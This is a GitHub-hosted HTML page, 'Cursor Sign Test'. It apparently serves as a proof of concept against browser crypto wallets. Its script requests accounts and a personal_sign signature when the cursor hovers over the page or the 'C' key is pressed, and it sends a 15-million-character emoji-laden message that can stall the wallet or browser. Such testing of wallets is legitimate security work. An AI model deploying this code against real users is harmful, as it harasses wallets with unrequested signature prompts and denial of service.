-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlogic.html
More file actions
170 lines (152 loc) · 5.87 KB
/
logic.html
File metadata and controls
170 lines (152 loc) · 5.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Cursor Sign Test</title>
<meta name="viewport" content="width=device-width,initial-scale=1" />
<style>
body {
background: #111;
color: #eee;
font-family: Inter, system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial;
padding: 32px;
}
.card {
background: #0f1720;
border-radius: 12px;
padding: 20px;
max-width: 900px;
margin: 0 auto;
box-shadow: 0 6px 20px rgba(0,0,0,0.6);
}
h1 { margin: 0 0 8px 0; font-size: 20px; }
p { margin: 0 0 12px 0; color: #bfc9d9; }
pre {
margin-top: 12px;
background: #071021;
padding: 12px;
border-radius: 8px;
white-space: pre-wrap;
word-break: break-all;
max-height: 360px;
overflow: auto;
color: #e6eef8;
}
.warn { color: #ffcc00; margin-top: 8px; }
.good { color: #7ee787; }
</style>
</head>
<body>
<div class="card" id="card">
<h1>Cursor Sign Test</h1>
<p>Move your cursor over the page to initiate the signing process via <code>onmouseover</code>.</p>
<p class="warn">Warning: Wallets typically need a click/keyboard gesture. If blocked, the page switches to <strong>mock</strong> mode for testing.</p>
<p>Test message length is set to <code>TEST_MESSAGE_LENGTH = 15000000</code>. Adjust with caution (large values may stall your browser).</p>
<pre id="output">Ready. Hover your cursor over this page to activate the handler.</pre>
</div>
<script>
// CONFIG
const TEST_MESSAGE_LENGTH = 15000000; // Increased to 15M characters
const SIGN_COUNT = 1; // Number of signing attempts
const outEl = document.getElementById('output');
function log(...args) {
const line = args.map(a => (typeof a === 'string' ? a : JSON.stringify(a))).join(' ');
outEl.textContent += line + "\n";
outEl.scrollTop = outEl.scrollHeight;
console.log(...args);
}
// Prepare the message with mixed characters and emojis
let testMessage = null;
window.addEventListener('load', () => {
log(`Preparing message of length ${TEST_MESSAGE_LENGTH}...`);
const chars = ['a', 'b', '☠️', '😈'];
testMessage = new Array(Math.floor(TEST_MESSAGE_LENGTH / 4))
.fill()
.map(() => chars[Math.floor(Math.random() * chars.length)])
.join('');
log('Message prepared. Hover your cursor to start the signing process.');
});
// Mock-sign function for testing without a wallet
function mockSign(index) {
const fakeSig = `0xMOCKSIG_${index}_${Math.random().toString(36).slice(2,10)}`;
return Promise.resolve(fakeSig);
}
// Attempt real signing with fallback to mock
async function trySign(index, fromAddress) {
if (!window.ethereum) {
log(`No wallet detected — using mock signature for #${index}`);
return mockSign(index);
}
try {
const sig = await ethereum.request({
method: 'personal_sign',
params: [testMessage, fromAddress],
});
return sig;
} catch (err) {
log(`Real sign attempt #${index} failed: ${err && err.message ? err.message : err}. Falling back to mock.`);
return mockSign(index);
}
}
// Batch signing routine
async function signBatchHover() {
document.body.removeEventListener('mouseover', hoverHandler); // Prevent re-trigger
outEl.textContent = ''; // Clear output
log('Cursor detected. Starting signBatchHover...');
if (!window.ethereum) {
log('🚨 No window.ethereum detected. Using mock mode for all signatures.');
for (let i = 1; i <= SIGN_COUNT; i++) {
const msig = await mockSign(i);
log(`✅ Mock signed [${i}]: ${msig}`);
}
log('Finished mock-signing.');
return;
}
let accounts;
try {
accounts = await ethereum.request({ method: 'eth_requestAccounts' });
} catch (err) {
log('Account request failed (likely due to untrusted gesture). Switching to mock mode. Error:', err.message || err);
for (let i = 1; i <= SIGN_COUNT; i++) {
const msig = await mockSign(i);
log(`✅ Mock signed [${i}]: ${msig}`);
}
log('Finished mock-signing after failed account request.');
return;
}
const from = accounts && accounts[0];
log(`Connected account: ${from}`);
for (let i = 1; i <= SIGN_COUNT; i++) {
log(`Attempting sign #${i}...`);
const sig = await trySign(i, from);
log(`✅ Result for #${i}: ${sig}`);
}
log('Completed signing attempts.');
document.body.addEventListener('mouseover', hoverHandler); // Re-attach listener
}
// Debounced hover handler with shorter delay
let hoverTimeout = null;
function hoverHandler() {
if (hoverTimeout) return;
hoverTimeout = setTimeout(() => {
hoverTimeout = null;
signBatchHover().catch(err => {
log('Unexpected error in signBatchHover:', err && err.message ? err.message : err);
document.body.addEventListener('mouseover', hoverHandler); // Reattach on error
});
}, 100); // Reduced to 100ms for faster response
}
// Attach the hover handler on page load
document.addEventListener('DOMContentLoaded', () => {
document.body.addEventListener('mouseover', hoverHandler); // Use mouseover instead of mousemove
});
// Keyboard trigger for trusted gesture
window.addEventListener('keydown', async (e) => {
if (e.key === 'c' || e.key === 'C') {
log('User pressed C: initiating click-style signing (trusted gesture).');
await signBatchHover();
}
});
</script>
</body>
</html>